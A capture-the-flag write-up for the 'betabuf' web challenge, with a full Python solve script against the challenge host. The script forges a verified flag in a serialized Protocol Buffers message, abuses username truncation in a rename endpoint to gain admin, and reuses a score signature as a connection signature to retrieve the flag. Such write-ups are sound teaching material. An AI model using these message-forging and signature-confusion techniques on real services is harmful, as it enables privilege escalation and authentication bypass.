Web Exploitation

Challenge
Topic

betabuf (435 pts)

Description

We regret telling the intern about Protocol Buffers. Hopefully they'll clean things up before we leave closed beta.

Clarification: The --trusted-proxy args are not intended to be a part of the challenge. They are there because the remote sits behind a proxy. You can ignore them.

Solution

Following is the idea of exploitation

  • Craft payload to make is_verified in account True

  • Craft is_admin True by utilizing vulnerability in 1024 bytes truncation in rename function

  • Because SecureConnectionDetails and HighScore has same structure (int/boolean, string), we can use HighScore signature as SecureConnectionDetails signature

import argparse
import json
import time
import requests
import game_pb2


def build_account_details(username, country):
    details = game_pb2.AccountDetails()
    details.username = username
    details.country = country
    payload = bytearray(details.SerializeToString())
    payload.extend([0x40, 0x01])
    return payload.hex()


def build_registration_invite(expires_in = 3600):
    now = int(time.time())
    invite = game_pb2.RegistrationInvite()
    invite.invite_id = 1
    invite.invited_by = "test invite"
    invite.invitation_message = "test message"
    invite.created_at = now
    invite.expires_at = now + expires_in
    return invite.SerializeToString().hex()


def register(base_url, username):
    data = {
        "account_details": build_account_details(username, "US"),
        "registration_invite": build_registration_invite(),
    }
    r = requests.post(f"{base_url}/register", json=data)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def rename(base_url, token, signature):
    payload = {
        "old_user_token": token,
        "old_user_token_sig": signature,
        "new_username": "A" * 15 + "\u0018\u0018 \u0018",
    }
    r = requests.post(f"{base_url}/rename", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def submit_score(base_url, token, signature):
    payload = {
        "score": 1,
        "account_token": token,
        "account_token_sig": signature,
    }
    r = requests.post(f"{base_url}/submit_score", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["score"], j["signature"]


def get_flag(base_url, admin_token, admin_sig, scd, scd_sig):
    payload = {
        "account_token": admin_token,
        "account_token_sig": admin_sig,
        "secure_connection_details": scd,
        "secure_connection_details_sig": scd_sig,
    }
    r = requests.post(f"{base_url}/admin", json=payload)
    r.raise_for_status()
    j = r.json()
    if "flag" not in j:
        raise RuntimeError(f"Err: {json.dumps(j)}")
    return j["flag"]


def main():
    url = "https://betabuf.secso.cc"
    username = "kosong"
    username += "A" * (1000 - len(username))
    token, sig = register(url, username)
    admin_token, admin_sig = rename(url, token, sig)
    scd, scd_sig = submit_score(url, admin_token, admin_sig)
    flag = get_flag(url, admin_token, admin_sig, scd, scd_sig)
    print(flag)


if __name__ == "__main__":
    main()

Last updated